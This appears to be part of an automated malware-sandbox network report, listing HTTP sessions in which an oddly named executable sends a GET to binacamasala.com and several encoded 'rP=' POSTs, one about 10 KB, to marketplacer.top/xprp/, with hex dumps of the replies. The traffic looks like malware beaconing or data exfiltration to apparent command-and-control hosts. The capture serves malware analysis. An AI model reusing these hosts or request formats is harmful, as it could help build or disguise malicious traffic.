rP=eiruA313dcwG043UNxC6gbmME456ozvWJxt5vfrPfmMYIWHC2xAxvM7/mn7DAey4WCl47DnMm/iyNGF6xuZwmrc/snproSqxrgS/RbYhxjEO3RNu9uKUwFKZoye8l/JUR0IIspvKfKDfo0LaGs6lc/fphOAQaiFlFSktfHOvt0ZX6bVtg76H5co0hkT444vBE6b3WTNEb4PeClZReMqw3g0F1u1ulkJj4ntMZzqdCOzKJp8wbolG7cPK09skcz6YbWeX/ry9Os4gYUY5jaxThZqXXHQaMTR6mBd2GBWEgkbchErLzuEo3nyuaKaYeo7zsiV3SfSc1wMdsyBIphx7GrsbSuoFl0CAYcr825dggSLgKbbjqNZjqZbGHt04cdDiVP2MAyY+S0DLCVJD2sMtHgH9oDzX+73ot6V6QhNTIQltTifcvCPUfv1G+SS5ZsYjW9tjTEWhIHjSQiojewm2hnE+ClrcXO1D94iG/gVZFoulBsWQ3ByZJb0hA/8AKAnqGKI3dYTWsufRCXMwE4UdtqHnUVQ/jE/mSRSUJ2pnnPh3icrclfQbXD69Hwjf8nHreggz7L/CoTJ2h0Vw7aP43Ag5F3tAnFgj2SIFefS4Og8GmUjlappPeVevOSR9PSLMcFmfZnRq9N3Y88jHNzCwMEfrazdq02e07MPJ3n8TfN/87eW9fa2Hg9nutiEpQDOLBu6cEFpMiHR6Rx5b4P7qJEm9kzxSAXVWfWa+Txc5Pg3c0r3Guv79kaQai/k3R0xvYJ2xUR5bpnS+2069CIud1NwWqERxWNArz2g90pX0WG4n+oekVtUpWWafYSgYtU11BTj+VCUjAru0YLqoeBBt/HNhDMnH6RcHzBEkoGWQfSYDEY6LL8r5ILmtA8JqGnH7utd+KudqUZvJsuRM4TmS5bLNKTEJUtjg4D8LzuFuwK8WolQjwnUE5muB6CeQC2vQ47SWPEDbm1yHWbn4KC7F3ZtxgGbeWvhagxEF8XUZOrKFVY0Li [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	58820	3.33.130.190	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:07.329001904 CET	530	OUT	GET /usv6/?rP=TgDODAIJaOl5jtT4JRfI9OPwBKlUmFbaFilQ+MjMe2d3S0GP4FMVsOvduy7NJ4+NeTwYvTqThdXRP3V3mN8pkp0x831zohGfqDiCdJRchCUQ1npuqurwuCk=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1 Host: www.binacamasala.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 13, 2024 09:27:07.950499058 CET	398	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 13 Nov 2024 08:27:07 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 72 50 3d 54 67 44 4f 44 41 49 4a 61 4f 6c 35 6a 74 54 34 4a 52 66 49 39 4f 50 77 42 4b 6c 55 6d 46 62 61 46 69 6c 51 2b 4d 6a 4d 65 32 64 33 53 30 47 50 34 46 4d 56 73 4f 76 64 75 79 37 4e 4a 34 2b 4e 65 54 77 59 76 54 71 54 68 64 58 52 50 33 56 33 6d 4e 38 70 6b 70 30 78 38 33 31 7a 6f 68 47 66 71 44 69 43 64 4a 52 63 68 43 55 51 31 6e 70 75 71 75 72 77 75 43 6b 3d 26 32 70 32 68 3d 76 7a 59 54 32 6c 44 68 4a 54 5a 30 51 6c 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?rP=TgDODAIJaOl5jtT4JRfI9OPwBKlUmFbaFilQ+MjMe2d3S0GP4FMVsOvduy7NJ4+NeTwYvTqThdXRP3V3mN8pkp0x831zohGfqDiCdJRchCUQ1npuqurwuCk=&2p2h=vzYT2lDhJTZ0Ql"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	58822	194.58.112.174	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:13.340818882 CET	798	OUT	POST /xprp/ HTTP/1.1 Host: www.marketplacer.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.marketplacer.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Referer: http://www.marketplacer.top/xprp/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 59 76 34 72 5a 41 4e 58 7a 58 79 69 39 76 76 45 57 72 4f 49 49 54 57 30 48 41 6c 47 41 78 73 32 61 6c 4d 41 56 59 6f 34 4b 71 7a 52 68 4b 49 54 55 5a 2b 33 76 43 51 6d 63 65 4f 46 7a 35 73 67 4f 43 61 64 77 49 73 31 78 5a 32 64 37 4f 45 45 5a 48 67 76 76 59 58 46 64 6a 65 77 44 39 77 6e 59 45 67 66 73 65 67 2b 76 2b 31 30 6f 6e 6f 52 70 4a 4c 32 46 4e 68 52 4c 2f 47 34 4a 41 34 4c 42 4c 64 35 49 39 39 65 48 44 4e 77 71 51 73 32 70 76 32 75 51 59 32 79 75 53 52 68 43 2f 46 53 52 33 76 51 2f 74 76 54 71 4f 46 4f 75 69 77 59 76 66 4a 30 47 71 6a 79 71 32 54 4c 7a 39 64 77 70 51 3d 3d Data Ascii: rP=Yv4rZANXzXyi9vvEWrOIITW0HAlGAxs2alMAVYo4KqzRhKITUZ+3vCQmceOFz5sgOCadwIs1xZ2d7OEEZHgvvYXFdjewD9wnYEgfseg+v+10onoRpJL2FNhRL/G4JA4LBLd5I99eHDNwqQs2pv2uQY2yuSRhC/FSR3vQ/tvTqOFOuiwYvfJ0Gqjyq2TLz9dwpQ==
Nov 13, 2024 09:27:14.243679047 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Nov 2024 08:27:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 1d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a2 2f 14 fd 54 40 7e a8 51 fc 50 fe c2 f2 1f f5 dc 3b bb cb 25 45 ca 8f 38 45 05 48 22 67 67 ee dc b9 f7 dc 73 ef cc 6c fd 74 27 74 f5 78 a8 44 4f 0f fc 66 9d fe 0a d7 97 71 dc 28 79 71 4b 76 e4 50 7b 3b aa 24 7c 19 74 1b a5 68 54 42 1f 25 3b cd fa 40 69 29 dc 9e 8c 62 a5 1b a5 f7 2f fd c2 3a 87 67 dc 1a c8 81 6a 94 86 32 ea 7b 41 b7 24 dc 30 d0 2a 40 a7 48 75 a3 91 15 41 e6 6c cf 1d 4f ed 0e c3 48 17 ba ee 7a 1d dd 6b 74 d4 8e e7 2a 8b bf d4 bc c0 d3 9e f4 ad d8 95 be 6a ac 42 84 f6 b4 af 9a bb bb bb f6 00 73 29 3d f4 a5 ab 22 5b 87 c3 ba 63 9e d5 7d 2f e8 8b 48 f9 8d 52 ac c7 be 8a 7b 4a 61 9a 81 ea 78 b2 51 92 be 5f 12 bd 48 6d e7 ca b2 72 96 1c e9 d0 76 e3 18 53 4c c7 7b 58 46 d6 7b 5b 42 af 30 b0 f1 67 7d b5 24 c8 7e 30 d7 40 76 95 73 c5 e2 8e cd 7a ec 46 de 50 37 9d 33 f5 d3 9b [TRUNCATED] Data Ascii: d1cZko_1fQRERy8G9-E!rJm4bh@/T@~QP;%E8EH"ggslt'txDOfq(yqKvP{;$\|thTB%;@i)b/:gj2{A$0@HuAlOHzktjBs)="[c}/HR{JaxQ_HmrvSL{XF{[B0g}$~0@vszFP73o^\|gS^wmIeG4(pSBRa"\|tomkr\_EQ=X8r x%HoY/GZAEc;mk_Ekh6Sm^jHLb,j&oQr<w#\|N>C%w}z\|w%h:m"fXi=/8F`]P%8ZT<KAj#P4=hrf:tUFBS8[N^kk=uV:?iuj9XL%[mvA1B}UoG+}p3&.[v{uChi>~pjZ@~iv8 b(;rGmB/vr'E"5i(rU#S5I!$z)p3utrjYAB9 \|\JzPAY'/4;@L>M&Mn~e(ab8$&n"tR\,}oCQMRA [TRUNCATED]
Nov 13, 2024 09:27:14.243720055 CET	1236	IN	Data Raw: a0 d3 8f f4 7d 3a eb d4 fd 05 82 f5 2d d4 55 5d 2f 68 f9 6a 5b 5b 26 b6 31 a1 8e c2 a0 fb 64 a7 80 8d 01 77 97 92 d9 3f 81 5e 64 2e 98 f7 71 72 0f 38 63 09 33 3c 3b 1f bc c6 38 f1 a8 6d 5c 9e 6b d2 0e c1 78 03 e4 ca 40 41 ee 9f 91 01 ef 4f 7e 8f Data Ascii: }:-U]/hj[[&1dw?^d.qr8c3<;8m\kx@AO~y<2^zgI\w@)9s@JQL7]]<d%f8> `pr`Ln-Y`.O1`e!U@/rbaa6v=r{Vt<nX1-
Nov 13, 2024 09:27:14.243753910 CET	424	IN	Data Raw: 13 2f 11 d2 0d 6c e1 2a e4 29 2f 13 16 0e 2c 1c da 2f 7a 7e d2 c1 7d 7a f9 91 5d 8d 40 f1 8e d4 b2 42 7f aa d7 4e 89 c2 8f b7 2d 2a 82 da 6d be ef c0 51 27 0e 27 ab 62 b6 13 f5 8f 14 f6 f8 c1 da cc e0 bd 53 33 5f a7 b2 70 54 da f2 3a 0b e5 ec c8 Data Ascii: /l)/,/z~}z]@BN-mQ''bS3_pT:Hb\8;RxC0z+,:;iFdx8WAWr"i4+obMX6_yoR^/WEBMgn4o9++=X-0.=yY/>#)EF^Qg`oF~4Xu#
Nov 13, 2024 09:27:14.243783951 CET	646	IN	Data Raw: 5a f4 0d 61 59 9b 01 82 26 9b 53 8e 7c d3 5c 56 97 85 17 4c 55 e1 bb c3 f5 b9 0e 17 44 d9 0b 70 75 76 09 a3 60 b4 5c 1c a9 66 fc 41 ae 2e 42 81 ab ae 7c cd 15 5a f4 f5 cd 97 ac f3 5b 55 fb ec 07 36 7f af 6e 7e f8 41 bc 75 16 b6 60 6c e4 42 0d 2b Data Ascii: ZaY&S\|\VLUDpuv`\fA.B\|Z[U6n~Au`lB+K'IplZ,}/i# 7Zeq#wElBPj!WhW%' 7HBQhEd}l-G'f,3@4P_JOR1f-S_]7G!ih,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	58838	194.58.112.174	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:15.884852886 CET	818	OUT	POST /xprp/ HTTP/1.1 Host: www.marketplacer.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.marketplacer.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Referer: http://www.marketplacer.top/xprp/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 59 76 34 72 5a 41 4e 58 7a 58 79 69 38 50 66 45 51 49 6d 49 44 54 57 31 43 41 6c 47 4f 68 73 79 61 6c 51 41 56 5a 38 6f 4b 34 58 52 68 75 4d 54 56 59 2b 33 71 43 51 6d 45 75 4f 45 75 4a 73 37 4f 43 58 71 77 49 67 31 78 61 4b 64 37 4c 34 45 59 31 49 6f 75 49 58 39 56 44 65 49 4d 64 77 6e 59 45 67 66 73 61 77 41 76 2b 74 30 6f 54 73 52 72 6f 4c 35 47 4e 68 53 43 66 47 34 65 77 34 50 42 4c 64 62 49 2f 4a 30 48 47 42 77 71 55 6f 32 75 39 65 78 5a 59 32 30 67 79 51 70 52 73 38 57 63 47 50 5a 79 39 44 66 71 63 46 64 6d 45 39 43 2b 75 6f 6a 55 71 48 42 33 78 61 2f 2b 2b 67 35 79 59 41 51 78 47 37 39 6c 57 32 55 5a 53 66 39 53 53 31 7a 43 41 55 3d Data Ascii: rP=Yv4rZANXzXyi8PfEQImIDTW1CAlGOhsyalQAVZ8oK4XRhuMTVY+3qCQmEuOEuJs7OCXqwIg1xaKd7L4EY1IouIX9VDeIMdwnYEgfsawAv+t0oTsRroL5GNhSCfG4ew4PBLdbI/J0HGBwqUo2u9exZY20gyQpRs8WcGPZy9DfqcFdmE9C+uojUqHB3xa/++g5yYAQxG79lW2UZSf9SS1zCAU=
Nov 13, 2024 09:27:16.921195984 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Nov 2024 08:27:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 1d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a2 2f 14 fd 54 40 7e a8 51 fc 50 fe c2 f2 1f f5 dc 3b bb cb 25 45 ca 8f 38 45 05 48 22 67 67 ee dc b9 f7 dc 73 ef cc 6c fd 74 27 74 f5 78 a8 44 4f 0f fc 66 9d fe 0a d7 97 71 dc 28 79 71 4b 76 e4 50 7b 3b aa 24 7c 19 74 1b a5 68 54 42 1f 25 3b cd fa 40 69 29 dc 9e 8c 62 a5 1b a5 f7 2f fd c2 3a 87 67 dc 1a c8 81 6a 94 86 32 ea 7b 41 b7 24 dc 30 d0 2a 40 a7 48 75 a3 91 15 41 e6 6c cf 1d 4f ed 0e c3 48 17 ba ee 7a 1d dd 6b 74 d4 8e e7 2a 8b bf d4 bc c0 d3 9e f4 ad d8 95 be 6a ac 42 84 f6 b4 af 9a bb bb bb f6 00 73 29 3d f4 a5 ab 22 5b 87 c3 ba 63 9e d5 7d 2f e8 8b 48 f9 8d 52 ac c7 be 8a 7b 4a 61 9a 81 ea 78 b2 51 92 be 5f 12 bd 48 6d e7 ca b2 72 96 1c e9 d0 76 e3 18 53 4c c7 7b 58 46 d6 7b 5b 42 af 30 b0 f1 67 7d b5 24 c8 7e 30 d7 40 76 95 73 c5 e2 8e cd 7a ec 46 de 50 37 9d 33 f5 d3 9b [TRUNCATED] Data Ascii: d1cZko_1fQRERy8G9-E!rJm4bh@/T@~QP;%E8EH"ggslt'txDOfq(yqKvP{;$\|thTB%;@i)b/:gj2{A$0@HuAlOHzktjBs)="[c}/HR{JaxQ_HmrvSL{XF{[B0g}$~0@vszFP73o^\|gS^wmIeG4(pSBRa"\|tomkr\_EQ=X8r x%HoY/GZAEc;mk_Ekh6Sm^jHLb,j&oQr<w#\|N>C%w}z\|w%h:m"fXi=/8F`]P%8ZT<KAj#P4=hrf:tUFBS8[N^kk=uV:?iuj9XL%[mvA1B}UoG+}p3&.[v{uChi>~pjZ@~iv8 b(;rGmB/vr'E"5i(rU#S5I!$z)p3utrjYAB9 \|\JzPAY'/4;@L>M&Mn~e(ab8$&n"tR\,}oCQMRA [TRUNCATED]
Nov 13, 2024 09:27:16.921237946 CET	212	IN	Data Raw: a0 d3 8f f4 7d 3a eb d4 fd 05 82 f5 2d d4 55 5d 2f 68 f9 6a 5b 5b 26 b6 31 a1 8e c2 a0 fb 64 a7 80 8d 01 77 97 92 d9 3f 81 5e 64 2e 98 f7 71 72 0f 38 63 09 33 3c 3b 1f bc c6 38 f1 a8 6d 5c 9e 6b d2 0e c1 78 03 e4 ca 40 41 ee 9f 91 01 ef 4f 7e 8f Data Ascii: }:-U]/hj[[&1dw?^d.qr8c3<;8m\kx@AO~y<2^zgI\w@)9s@JQL7]]<d%f8> `pr`Ln-Y`.O1`e!U@/rbaa6
Nov 13, 2024 09:27:16.921266079 CET	1236	IN	Data Raw: 76 f1 3d aa 72 7f 92 05 cf b9 e7 a4 85 fe 7b f2 09 56 74 90 3c 80 6e 87 58 08 16 31 b9 2d a8 c0 49 1b 50 f2 70 60 a6 0f 28 7b d2 82 0f f0 ff 01 ad 31 4b ab b0 c0 e4 33 b6 02 c7 32 ac 94 7c 0f b3 a0 ef 4f bf de 7f 61 6e f2 06 83 f1 a4 d5 fe 69 f2 Data Ascii: v=r{Vt<nX1-IPp`({1K32\|Oanie{tLB#tP.g74TE0>$h_X3,%0BJ 0lElr`Fs]y:4{B,sjr`.viuqH[-9G8+3
Nov 13, 2024 09:27:16.921298027 CET	212	IN	Data Raw: 29 45 46 5e a7 51 16 67 0d 10 8c f3 8e af 60 6f 46 7e c1 f7 85 8f e4 99 34 58 0a ee 75 23 9c 10 a9 b7 7c 45 ce ae 94 4d 87 72 c1 bd 34 8c 8e e5 a0 74 61 18 6e 52 d2 31 f1 1b e3 4b b2 fb 2e 2e 47 2b 65 ea 57 ae 6e be b4 35 d5 d0 08 b4 71 ff 86 e1 Data Ascii: )EF^Qg`oF~4Xu#\|EMr4tanR1K..G+eWn5qlgM8m~=<=y3{6}*U^u}dW/F2TWR;fn%W6c7Mky9yUs%,]YYN3fzRReG&c
Nov 13, 2024 09:27:16.921334982 CET	646	IN	Data Raw: 5a f4 0d 61 59 9b 01 82 26 9b 53 8e 7c d3 5c 56 97 85 17 4c 55 e1 bb c3 f5 b9 0e 17 44 d9 0b 70 75 76 09 a3 60 b4 5c 1c a9 66 fc 41 ae 2e 42 81 ab ae 7c cd 15 5a f4 f5 cd 97 ac f3 5b 55 fb ec 07 36 7f af 6e 7e f8 41 bc 75 16 b6 60 6c e4 42 0d 2b Data Ascii: ZaY&S\|\VLUDpuv`\fA.B\|Z[U6n~Au`lB+K'IplZ,}/i# 7Zeq#wElBPj!WhW%' 7HBQhEd}l-G'f,3@4P_JOR1f-S_]7G!ih,
Nov 13, 2024 09:27:16.922039986 CET	646	IN	Data Raw: 5a f4 0d 61 59 9b 01 82 26 9b 53 8e 7c d3 5c 56 97 85 17 4c 55 e1 bb c3 f5 b9 0e 17 44 d9 0b 70 75 76 09 a3 60 b4 5c 1c a9 66 fc 41 ae 2e 42 81 ab ae 7c cd 15 5a f4 f5 cd 97 ac f3 5b 55 fb ec 07 36 7f af 6e 7e f8 41 bc 75 16 b6 60 6c e4 42 0d 2b Data Ascii: ZaY&S\|\VLUDpuv`\fA.B\|Z[U6n~Au`lB+K'IplZ,}/i# 7Zeq#wElBPj!WhW%' 7HBQhEd}l-G'f,3@4P_JOR1f-S_]7G!ih,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	58854	194.58.112.174	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:18.449749947 CET	10900	OUT	POST /xprp/ HTTP/1.1 Host: www.marketplacer.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.marketplacer.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 10299 Referer: http://www.marketplacer.top/xprp/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 59 76 34 72 5a 41 4e 58 7a 58 79 69 38 50 66 45 51 49 6d 49 44 54 57 31 43 41 6c 47 4f 68 73 79 61 6c 51 41 56 5a 38 6f 4b 34 66 52 67 62 59 54 61 62 6d 33 74 43 51 6d 61 65 4f 42 75 4a 74 68 4f 43 50 6d 77 4a 63 6c 78 66 47 64 71 64 73 45 66 45 49 6f 67 49 58 39 5a 6a 65 7a 44 39 78 6c 59 45 77 68 73 65 55 41 76 2b 74 30 6f 53 63 52 76 35 4c 35 41 4e 68 52 4c 2f 47 4f 4a 41 34 7a 42 4c 46 68 49 38 6c 4f 41 79 39 77 72 30 34 32 6f 49 43 78 57 59 32 32 6a 79 51 59 52 74 41 5a 63 47 43 67 79 39 47 77 71 65 5a 64 6b 56 67 74 68 76 77 41 50 4a 61 63 67 54 65 2f 2b 2f 39 34 35 6f 51 78 68 46 43 6e 7a 6e 57 4e 55 68 6a 7a 57 67 68 35 47 46 6f 36 67 2b 62 6d 68 6e 52 2b 61 6e 75 58 72 66 6d 70 77 34 65 75 35 4f 39 6a 49 50 34 35 68 46 46 33 6f 6a 33 62 5a 6a 77 4a 66 77 37 32 72 4c 73 52 68 31 6c 37 6f 4f 68 64 68 48 4d 4c 6b 6f 6d 39 7a 4d 6c 73 4a 62 6c 46 49 67 30 56 56 68 37 70 39 4c 66 4e 76 45 54 6a 34 53 75 32 6f 73 65 54 4d 55 56 66 71 34 4c 38 44 31 76 6b 57 6c 68 55 7a 73 6a 59 32 55 45 [TRUNCATED] Data Ascii: rP=Yv4rZANXzXyi8PfEQImIDTW1CAlGOhsyalQAVZ8oK4fRgbYTabm3tCQmaeOBuJthOCPmwJclxfGdqdsEfEIogIX9ZjezD9xlYEwhseUAv+t0oScRv5L5ANhRL/GOJA4zBLFhI8lOAy9wr042oICxWY22jyQYRtAZcGCgy9GwqeZdkVgthvwAPJacgTe/+/945oQxhFCnznWNUhjzWgh5GFo6g+bmhnR+anuXrfmpw4eu5O9jIP45hFF3oj3bZjwJfw72rLsRh1l7oOhdhHMLkom9zMlsJblFIg0VVh7p9LfNvETj4Su2oseTMUVfq4L8D1vkWlhUzsjY2UELXW6IedKjMdKo+/5YZOyCbYRCPdVnwEUDdVaMaUDtw/EWoSYnPTqI9F57FJbIQ+D7PquWDS+C+uCf9tjzLHQkL5o3O0SVu9qMc2PJKg140145wL6PA6veqjlvq1gB68FADEQ6qBqwOHiqhdOyEyUdgdzLSYcV6lyxdXXkrXvV8Ptri6EdT193CMbZFUqvc1WnuG/J9/tcRxr4SPz6hqrPyGXdQtfVvNCQ/crLXDHxIPGTwpQc9RR1r7/iR8nA9wztnxU6CqLVxDvHlLMWgqIv3OkKn8kg4AjdYxWgDBwLpdYiJxXI033/xStqOTiXwlojplK7c0H6EsvgFxie8yAVgRD/l9wyFvIbUrfBwgLstd3y+1RHnO+tBxxGOW0lEPWPEkUfTCQWLeyZFTlwzMmPYe2yuwag8ToIM6oULSlJByQBvYmPwkkCbWgtt4YsQP/ioGhgZEXz4Kx6+Bvd4LwRe2bI0HdTeGkB9xMaHh+dyL9ejnE/1qf01SRHdmnUTbVVsM/XF3MllAN0/dMpEAD3XRW02RBFok0ED/aSppub1Ehfi0g+VIuhKovflM9ob7PK1ucmLwGjmAE6ayXWy1xNwlYST2kvYnTzBnqg+Ls0OKTeI/66ccItXUdNKoyNod/1ATBMqk4glYCMO4thAkAFxhQTHnqvuq1AB [TRUNCATED]
Nov 13, 2024 09:27:19.306732893 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Nov 2024 08:27:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 1d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a2 2f 14 fd 54 40 7e a8 51 fc 50 fe c2 f2 1f f5 dc 3b bb cb 25 45 ca 8f 38 45 05 48 22 67 67 ee dc b9 f7 dc 73 ef cc 6c fd 74 27 74 f5 78 a8 44 4f 0f fc 66 9d fe 0a d7 97 71 dc 28 79 71 4b 76 e4 50 7b 3b aa 24 7c 19 74 1b a5 68 54 42 1f 25 3b cd fa 40 69 29 dc 9e 8c 62 a5 1b a5 f7 2f fd c2 3a 87 67 dc 1a c8 81 6a 94 86 32 ea 7b 41 b7 24 dc 30 d0 2a 40 a7 48 75 a3 91 15 41 e6 6c cf 1d 4f ed 0e c3 48 17 ba ee 7a 1d dd 6b 74 d4 8e e7 2a 8b bf d4 bc c0 d3 9e f4 ad d8 95 be 6a ac 42 84 f6 b4 af 9a bb bb bb f6 00 73 29 3d f4 a5 ab 22 5b 87 c3 ba 63 9e d5 7d 2f e8 8b 48 f9 8d 52 ac c7 be 8a 7b 4a 61 9a 81 ea 78 b2 51 92 be 5f 12 bd 48 6d e7 ca b2 72 96 1c e9 d0 76 e3 18 53 4c c7 7b 58 46 d6 7b 5b 42 af 30 b0 f1 67 7d b5 24 c8 7e 30 d7 40 76 95 73 c5 e2 8e cd 7a ec 46 de 50 37 9d 33 f5 d3 9b [TRUNCATED] Data Ascii: d1cZko_1fQRERy8G9-E!rJm4bh@/T@~QP;%E8EH"ggslt'txDOfq(yqKvP{;$\|thTB%;@i)b/:gj2{A$0@HuAlOHzktjBs)="[c}/HR{JaxQ_HmrvSL{XF{[B0g}$~0@vszFP73o^\|gS^wmIeG4(pSBRa"\|tomkr\_EQ=X8r x%HoY/GZAEc;mk_Ekh6Sm^jHLb,j&oQr<w#\|N>C%w}z\|w%h:m"fXi=/8F`]P%8ZT<KAj#P4=hrf:tUFBS8[N^kk=uV:?iuj9XL%[mvA1B}UoG+}p3&.[v{uChi>~pjZ@~iv8 b(;rGmB/vr'E"5i(rU#S5I!$z)p3utrjYAB9 \|\JzPAY'/4;@L>M&Mn~e(ab8$&n"tR\,}oCQMRA [TRUNCATED]
Nov 13, 2024 09:27:19.306802034 CET	1236	IN	Data Raw: a0 d3 8f f4 7d 3a eb d4 fd 05 82 f5 2d d4 55 5d 2f 68 f9 6a 5b 5b 26 b6 31 a1 8e c2 a0 fb 64 a7 80 8d 01 77 97 92 d9 3f 81 5e 64 2e 98 f7 71 72 0f 38 63 09 33 3c 3b 1f bc c6 38 f1 a8 6d 5c 9e 6b d2 0e c1 78 03 e4 ca 40 41 ee 9f 91 01 ef 4f 7e 8f Data Ascii: }:-U]/hj[[&1dw?^d.qr8c3<;8m\kx@AO~y<2^zgI\w@)9s@JQL7]]<d%f8> `pr`Ln-Y`.O1`e!U@/rbaa6v=r{Vt<nX1-
Nov 13, 2024 09:27:19.306839943 CET	424	IN	Data Raw: 13 2f 11 d2 0d 6c e1 2a e4 29 2f 13 16 0e 2c 1c da 2f 7a 7e d2 c1 7d 7a f9 91 5d 8d 40 f1 8e d4 b2 42 7f aa d7 4e 89 c2 8f b7 2d 2a 82 da 6d be ef c0 51 27 0e 27 ab 62 b6 13 f5 8f 14 f6 f8 c1 da cc e0 bd 53 33 5f a7 b2 70 54 da f2 3a 0b e5 ec c8 Data Ascii: /l)/,/z~}z]@BN-mQ''bS3_pT:Hb\8;RxC0z+,:;iFdx8WAWr"i4+obMX6_yoR^/WEBMgn4o9++=X-0.=yY/>#)EF^Qg`oF~4Xu#
Nov 13, 2024 09:27:19.306874990 CET	646	IN	Data Raw: 5a f4 0d 61 59 9b 01 82 26 9b 53 8e 7c d3 5c 56 97 85 17 4c 55 e1 bb c3 f5 b9 0e 17 44 d9 0b 70 75 76 09 a3 60 b4 5c 1c a9 66 fc 41 ae 2e 42 81 ab ae 7c cd 15 5a f4 f5 cd 97 ac f3 5b 55 fb ec 07 36 7f af 6e 7e f8 41 bc 75 16 b6 60 6c e4 42 0d 2b Data Ascii: ZaY&S\|\VLUDpuv`\fA.B\|Z[U6n~Au`lB+K'IplZ,}/i# 7Zeq#wElBPj!WhW%' 7HBQhEd}l-G'f,3@4P_JOR1f-S_]7G!ih,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
